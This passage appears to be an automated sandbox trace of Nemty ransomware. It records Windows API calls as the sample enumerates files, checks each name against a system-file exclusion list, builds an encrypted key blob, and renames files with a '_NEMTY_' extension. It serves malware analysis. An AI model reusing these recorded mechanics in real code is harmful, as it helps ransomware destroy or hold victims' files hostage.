Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv._nemty_kgobjgd_")) returned 0 [0077.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0077.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0077.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0077.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0077.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0077.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0077.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0077.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0077.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0077.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.639] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2=".") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="..") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="...") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="windows") returned -1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="$RECYCLE.BIN") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="rsa") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="NTDETECT.COM") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="ntldr") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="MSDOS.SYS") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="IO.SYS") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="boot.ini") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="boot.ini") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="ntuser.dat") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="desktop.ini") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="CONFIG.SYS") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="RECYCLER") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="BOOTSECT.BAK") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="bootmgr") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="programdata") returned 1 [0077.639] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="appdata") returned 1 [0077.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_Ref.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0077.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_Ref.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Page_Ref.wmv", lpUsedDefaultChar=0x0) returned 18 [0077.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0077.640] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_Ref.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0077.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.640] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_Ref.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Page_Ref.wmv", lpUsedDefaultChar=0x0) returned 18 [0077.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0077.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.640] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_Ref.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0077.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.640] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_Ref.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Page_Ref.wmv", lpUsedDefaultChar=0x0) returned 18 [0077.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.640] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_Ref.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0077.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0077.640] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Page_Ref.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Page_Ref.wmv", lpUsedDefaultChar=0x0) returned 18 [0077.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0077.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0077.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0077.640] Sleep (dwMilliseconds=0x5) [0077.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe1eec170, dwHighDateTime=0x1d561e7)) [0077.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe1eec170, dwHighDateTime=0x1d561e7)) [0077.655] GetLastError () returned 0x5 [0077.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0077.655] GetLastError () returned 0x5 [0077.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0077.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0077.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0077.655] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0077.655] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0077.655] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0077.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0077.655] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="ovDmCEvXY21hPifaeApUzADQX1YNjWcn+bSkNUqU4igN1pz741Verfye++63qcp7\r\n0lha8pLxcOPCk/dPFNAm+1eUsX/uUxMu0Wv0V4rFf5feIV5F2PTtnaOjmTrigMHm\r\nSLvgCAQUDlayRE4SkA96pQVixhHGRN36FW+Zr+L4zAKXoT/Hq7QqaElLK2/ZrH1A\r\nMupvyAw6ehtygM9Bx2Ax3LzNb5o8hZLEkQzVPmr86GOcW5v5AMN8EPv36WKlTiRV\r\n7LBogE7b+kbO96q01jOBvDXKZsP4BBWDy8eYoQF8DRwteuFqSYIguZHbdiRu0rZ9\r\nV8pMogvr0u2xSJAxTM8oZg==\r\n", pcchString=0x653e91c) returned 1 [0077.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0077.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0077.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0077.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0077.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0077.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0077.655] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.655] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0077.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0077.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.656] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.665] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.704] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.704] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.723] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.742] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0077.763] CloseHandle (hObject=0xffffffff) returned 0 [0077.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0077.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0077.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0077.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0077.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0077.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0077.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0077.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942b0 [0077.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0077.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0077.769] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv._nemty_kgobjgd_")) returned 0 [0077.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0077.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0077.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0077.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0077.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0077.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0077.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0077.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0077.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0077.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.769] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1 [0077.770] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2=".") 